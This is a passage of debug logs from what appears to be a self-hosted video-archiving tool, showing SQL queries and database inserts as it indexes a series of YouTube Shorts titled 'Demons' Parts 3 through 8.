"https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 18:21:24.861 [debug] QUERY OK source="sources" db=0.2ms idle=15.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:24.861 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:24.862 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 18:21:24.862 [debug] Current batch of media processed. Will check again in 1000ms 18:21:25.863 [debug] Current batch of media processed. Will check again in 1000ms 18:21:26.864 [debug] Current batch of media processed. Will check again in 1000ms 18:21:27.865 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", "id" => "gjpV5R_MvW4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gjpV5R_MvW4", "playlist_index" => 4, "timestamp" => 1749154082, "title" => "Demons. Pt.7 Melchizedek. Pt.1", "upload_date" => "20250605"} 18:21:27.866 [debug] QUERY OK source="sources" db=0.2ms idle=1178.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:27.866 [debug] QUERY OK source="sources" db=0.2ms idle=1179.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:27.867 [debug] QUERY OK source="media_items" db=0.1ms idle=1179.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 18:21:27.867 [debug] QUERY OK source="media_items" db=0.5ms idle=1017.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "01f2bc23-dea1-4faf-8ffd-6676b2628fba", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 01:21:27Z], ~U[2026-08-20 01:21:27Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 18:21:27.868 [debug] QUERY OK source="sources" db=0.1ms idle=17.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:27.868 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:27.868 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4] 18:21:27.869 [debug] Current batch of media processed. Will check again in 1000ms 18:21:28.869 [debug] Current batch of media processed. Will check again in 1000ms 18:21:29.870 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", "id" => "HUfMTGjP05Q", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/HUfMTGjP05Q", "playlist_index" => 5, "timestamp" => 1749151292, "title" => "Demons. Pt.6 Deliverance from demons😋🫵🏿", "upload_date" => "20250605"} 18:21:29.871 [debug] QUERY OK source="sources" db=0.3ms idle=183.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:29.871 [debug] QUERY OK source="sources" db=0.2ms idle=184.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:29.872 [debug] QUERY OK source="media_items" db=0.1ms idle=184.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:21:32Z], 1] 18:21:29.873 [debug] QUERY OK source="media_items" db=0.6ms idle=184.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.6 Deliverance from demons😋🫵🏿", "079e7ea3-fd21-4649-9a8f-ef83be5894b3", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", 5, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:21:32Z], ~U[2026-08-20 01:21:29Z], ~U[2026-08-20 01:21:29Z], "", "Demons. Pt.6 Deliverance from demons😋🫵🏿", "HUfMTGjP05Q", 180, false, "https://www.youtube.com/shorts/HUfMTGjP05Q", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 18:21:29.873 [debug] QUERY OK source="sources" db=0.1ms idle=20.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:29.873 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:29.874 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 18:21:29.874 [debug] Current batch of media processed. Will check again in 1000ms 18:21:30.875 [debug] Current batch of media processed. Will check again in 1000ms 18:21:31.876 [debug] Current batch of media processed. Will check again in 1000ms 18:21:32.877 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", "id" => "SpwLvxDOkYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/SpwLvxDOkYU", "playlist_index" => 6, "timestamp" => 1749150533, "title" => "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "upload_date" => "20250605"} 18:21:32.878 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1190.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:32.878 [debug] QUERY OK source="sources" db=0.2ms idle=1191.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:32.879 [debug] QUERY OK source="media_items" db=0.2ms idle=1191.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 18:21:32.880 [debug] QUERY OK source="media_items" db=1.3ms idle=1024.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "0c937381-2889-4cba-bea6-ae92597e7edf", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 01:21:32Z], ~U[2026-08-20 01:21:32Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 18:21:32.881 [debug] QUERY OK source="sources" db=0.1ms idle=24.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:32.881 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:32.882 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 18:21:32.882 [debug] Current batch of media processed. Will check again in 1000ms 18:21:33.883 [debug] Current batch of media processed. Will check again in 1000ms 18:21:34.884 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", "id" => "05-_ewx1Im8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/05-_ewx1Im8", "playlist_index" => 7, "timestamp" => 1749149590, "title" => "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "upload_date" => "20250605"} 18:21:34.885 [debug] QUERY OK source="sources" db=0.2ms idle=197.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 18:21:34.885 [debug] QUERY OK source="sources" db=0.1ms idle=197.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:34.885 [debug] QUERY OK source="media_items" db=0.2ms idle=198.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 18:21:34.886 [debug] QUERY OK source="media_items" db=0.5ms idle=198.6ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "8220f25e-6176-4814-a588-2abb3eed8632", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 01:21:34Z], ~U[2026-08-20 01:21:34Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 18:21:34.886 [debug] QUERY OK source="sources" db=0.1ms idle=28.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:21:34.887 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:21:34.887 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 18:21:34.887 [debug] Current batch of media processed. Will check again in 1000ms 18:21:35.888 [debug] Current batch of media processed. Will check again in 1000ms 18:21:36.889 [debug] Current batch of media processed. Will check again in 1000ms 18:21:37.890 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", "id" => "tNwYciwExDA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tNwYciwExDA", "playlist_index" => 8, "timestamp" => 1749148677, "title" => "Demons. Pt.3", "upload_date" => "20250605"} 18:21:37.891 [debug] QUERY OK source="sources" db=0.2ms idle=1203.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", 